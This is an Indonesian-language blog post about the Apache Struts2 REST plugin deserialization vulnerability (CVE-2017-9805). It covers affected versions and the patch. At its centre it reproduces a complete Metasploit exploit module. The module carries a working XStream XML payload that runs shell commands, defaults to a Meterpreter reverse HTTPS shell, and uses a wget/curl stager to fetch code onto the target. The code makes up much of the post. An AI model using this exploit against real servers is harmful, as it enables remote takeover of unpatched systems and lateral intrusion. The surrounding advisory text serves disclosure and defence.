PT. Digital Media Techindo

Perum Pondok Tandala, Jl. Bungur V No. 230
Kawalu, Kota Tasikmalaya
Jawa Barat - Indonesia 46182




Peneliti keamanan kini telah menemukan kerentanan kritis Apache Struts2. Kerentanan ini memungkinkan penyerang secara remote menjalankan kode berbahaya di server yang terkena dampak.

Apache Struts adalah framework open-source, Model-View-Controller (MVC) gratis untuk mengembangkan aplikasi web dalam bahasa pemrograman Java, yang mendukung REST, AJAX, dan JSON.

Kerentanan (CVE-2017-9805) ini berada dalam kesalahan pemrograman di jalan Struts memproses data dari sumber yang tidak terpercaya. Secara khusus, plugin Struts REST gagal menangani muatan XML sambil deserializing dengan benar.

Semua versi Apache Struts sejak 2008 (Struts 2.1.2 – Struts 2.3.33, Struts 2.5 – Struts 2.5.12) terpengaruh, membiarkan semua aplikasi web yang menggunakan plugin REST rentan terhadap serangan ini.

Menurut salah satu peneliti keamanan di LGTM, yang menemukan kerentanan kritis Apache Struts2 ini, framework Struts digunakan oleh “sejumlah besar dan beragam organisasi,” termasuk Lockheed Martin, Vodafone, Virgin Atlantic, dan IRS.

Di atas semua itu, kerentanan ini sangat mudah bagi penyerang untuk mengeksploitasinya: semua yang dibutuhkan adalah browser web,” kata Man Yue Mo, seorang peneliti keamanan LGTM.

Semua yang dibutuhkan penyerang hanya mengirimkan kode XML berbahaya dalam format tertentu untuk memicu kerentanan pada server target.


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'                => 'Apache Struts 2 REST Plugin XStream RCE',
      'Description'         => %q{
        The REST Plugin is using a XStreamHandler with an instance of XStream
        for deserialization without any type filtering and this can lead to
        Remote Code Execution when deserializing XML payloads.
      },
      'Author'              => [
        'Man Yue Mo', # Vuln
        'caiqiiqi',   # PoC
        'wvu'         # Module
      ],
      'References'          => [
        ['CVE', '2017-9805'],
        ['URL', 'https://struts.apache.org/docs/s2-052.html'],
        ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement'],
        ['URL', 'http://blog.csdn.net/caiqiiqi/article/details/77861477']
      ],
      'DisclosureDate'      => 'Sep 5 2017',
      'License'             => MSF_LICENSE,
      'Platform'            => ['unix', 'linux', 'win'],
      'Arch'                => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Privileged'          => false,
      'Targets'             => [
        ['Apache Struts 2.5 - 2.5.12', {}]
      ],
      'DefaultTarget'       => 0,
      'DefaultOptions'      => {
        'PAYLOAD'           => 'linux/x64/meterpreter_reverse_https',
        'CMDSTAGER::FLAVOR' => 'wget'
      },
      'CmdStagerFlavor'     => ['wget', 'curl']
    ))

    register_options([
      Opt::RPORT(8080),
      OptString.new('TARGETURI', [true, 'Path to Struts app', '/struts2-rest-showcase/orders/3'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => target_uri.path
    )

    if res && res.code == 200
      CheckCode::Detected
    else
      CheckCode::Safe
    end
  end

  def exploit
    execute_cmdstager
  end

  def execute_command(cmd, opts = {})
    send_request_cgi(
      'method' => 'POST',
      'uri'    => target_uri.path,
      'ctype'  => 'application/xml',
      'data'   => xml_payload(cmd)
    )
  end

  def xml_payload(cmd)
    # xmllint --format
    <<EOF
<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>/bin/sh</string><string>-c</string><string>#{cmd}</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer/>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>
EOF
  end

end

Eksploitasi kerentanan yang berhasil dapat memungkinkan penyerang untuk mengendalikan sepenuhnya server yang terkena dampak, yang akhirnya membiarkan penyerang menyusup ke sistem lain di jaringan yang sama.

Mo mengatakan bahwa kerentanan kritis Apache Struts2 ini adalah deserialization yang tidak aman di Java yang mirip dengan kerentanan Apache Commons Collections yang ditemukan oleh Chris Frohoff dan Gabriel Lawrence pada tahun 2015 yang juga mengizinkan eksekusi kode arbitrary.

Banyak aplikasi Java telah terpengaruh oleh beberapa kerentanan serupa dalam beberapa tahun terakhir.

Karena kerentanan ini telah ditambal di versi Struts 2.5.13, administrator sangat disarankan untuk mengupgrade instalasi Apache Struts sesegera mungkin.

https://youtu.be/E5MKx9NvRAA


    administrator

    Just a simple person who like photography, videography, code, and cyber security enthusiast.